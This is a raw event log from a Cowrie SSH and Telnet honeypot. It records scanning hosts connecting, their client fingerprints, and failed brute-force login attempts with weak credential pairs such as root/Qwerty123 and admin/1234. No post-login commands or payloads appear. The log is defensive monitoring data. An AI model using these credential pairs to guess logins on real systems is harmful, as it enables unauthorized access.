{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:55:06:2f:2f:d2:03:80:2b:bd:b5:43:9c:a8:8b:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyIwT6EPKTzzzm/x8LqOuMQko6OgdppioYSDN0+Y239xCtQIBo6WX80pYdAWHjP2KBD/HmGgia9hYS+SXQLwKFW139gdXdNeX35daRb8RKCyjKqPiQPXxldb29wcVDWX2i7GQ4HPxCdZ3BN41KEIHbwgeBnLMzggLel4sTVDwdMQCn3Ib5Sd3P9nbBeF4KMb3TQDUia7PQqriO3/4XNbR4lEYGt5OVPmoeCbeHzog2BlRtC9zhDW2P7Fu8Hr9NQK+vPzmelkpHLjxjJFCDGwZiKaS2qDjfr0vjZkeysI/4sa6kDrCggyX5RtnQhxOtmPycFqlrGrleJGOhzfBGnoWt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.501999Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.548725Z","src_ip":"50.6.197.105","session":"76c44b104a10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46150,"dst_ip":"159.203.135.109","dst_port":22,"session":"f99daa9b50ce","protocol":"ssh","message":"New connection: 176.65.132.129:46150 (159.203.135.109:22) [session: f99daa9b50ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.933259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:34.937409Z","src_ip":"176.65.132.129","session":"f99daa9b50ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:35.019444Z","src_ip":"176.65.132.129","session":"f99daa9b50ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:35.266789Z","src_ip":"176.65.132.129","session":"f99daa9b50ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:36.352037Z","src_ip":"176.65.132.129","session":"f99daa9b50ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43380,"dst_ip":"159.203.135.109","dst_port":22,"session":"d43a6000df75","protocol":"ssh","message":"New connection: 176.65.132.129:43380 (159.203.135.109:22) [session: d43a6000df75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:38.253410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:38.257289Z","src_ip":"176.65.132.129","session":"d43a6000df75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:38.338719Z","src_ip":"176.65.132.129","session":"d43a6000df75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:38.583896Z","src_ip":"176.65.132.129","session":"d43a6000df75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":62380,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7d887f61c93","protocol":"ssh","message":"New connection: 31.57.216.40:62380 (159.203.135.109:22) [session: d7d887f61c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:39.673923Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:39.680355Z","src_ip":"31.57.216.40","session":"d7d887f61c93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60390,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e4910c0a026","protocol":"telnet","message":"New connection: 45.58.127.90:60390 (10.17.0.5:23) [session: 9e4910c0a026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:39.726184Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:39.757722Z","src_ip":"176.65.132.129","session":"d43a6000df75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":62382,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5c5826c0227","protocol":"ssh","message":"New connection: 31.57.216.40:62382 (159.203.135.109:22) [session: b5c5826c0227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:39.808075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:39.813125Z","src_ip":"31.57.216.40","session":"b5c5826c0227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:39.921873Z","src_ip":"31.57.216.40","session":"b5c5826c0227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"vivo12345","message":"login attempt [admin/vivo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:40.130728Z","src_ip":"31.57.216.40","session":"b5c5826c0227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60398,"dst_ip":"10.17.0.5","dst_port":23,"session":"338a31704851","protocol":"telnet","message":"New connection: 45.58.127.90:60398 (10.17.0.5:23) [session: 338a31704851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:40.771369Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:41.236264Z","src_ip":"31.57.216.40","session":"b5c5826c0227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43424,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cf53f5714bb","protocol":"ssh","message":"New connection: 176.65.132.129:43424 (159.203.135.109:22) [session: 7cf53f5714bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:41.629106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:41.634551Z","src_ip":"176.65.132.129","session":"7cf53f5714bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:41.716565Z","src_ip":"176.65.132.129","session":"7cf53f5714bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:42.085138Z","src_ip":"176.65.132.129","session":"7cf53f5714bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60414,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6159b52374f","protocol":"telnet","message":"New connection: 45.58.127.90:60414 (10.17.0.5:23) [session: b6159b52374f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:42.646278Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:43.169755Z","src_ip":"176.65.132.129","session":"7cf53f5714bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43460,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba273521076","protocol":"ssh","message":"New connection: 176.65.132.129:43460 (159.203.135.109:22) [session: 1ba273521076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:45.284515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:45.293073Z","src_ip":"176.65.132.129","session":"1ba273521076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:45.376168Z","src_ip":"176.65.132.129","session":"1ba273521076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:45.630433Z","src_ip":"176.65.132.129","session":"1ba273521076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:46.715519Z","src_ip":"176.65.132.129","session":"1ba273521076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48378,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c2525000634","protocol":"ssh","message":"New connection: 176.65.132.129:48378 (159.203.135.109:22) [session: 7c2525000634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:48.660476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:48.665370Z","src_ip":"176.65.132.129","session":"7c2525000634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:48.750136Z","src_ip":"176.65.132.129","session":"7c2525000634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:49.116256Z","src_ip":"176.65.132.129","session":"7c2525000634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:50.297812Z","src_ip":"176.65.132.129","session":"7c2525000634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48384,"dst_ip":"159.203.135.109","dst_port":22,"session":"bff8bf582ed7","protocol":"ssh","message":"New connection: 176.65.132.129:48384 (159.203.135.109:22) [session: bff8bf582ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:52.014493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:52.023212Z","src_ip":"176.65.132.129","session":"bff8bf582ed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:52.105366Z","src_ip":"176.65.132.129","session":"bff8bf582ed7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:52.350578Z","src_ip":"176.65.132.129","session":"bff8bf582ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.07750844955444,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:53.164029Z","src_ip":"45.58.127.90","session":"b4f75e3c91fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:53.434435Z","src_ip":"176.65.132.129","session":"bff8bf582ed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48392,"dst_ip":"159.203.135.109","dst_port":22,"session":"55e0c87dd347","protocol":"ssh","message":"New connection: 176.65.132.129:48392 (159.203.135.109:22) [session: 55e0c87dd347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:55.600684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:01:55.610421Z","src_ip":"176.65.132.129","session":"55e0c87dd347","protocol":"ssh"}
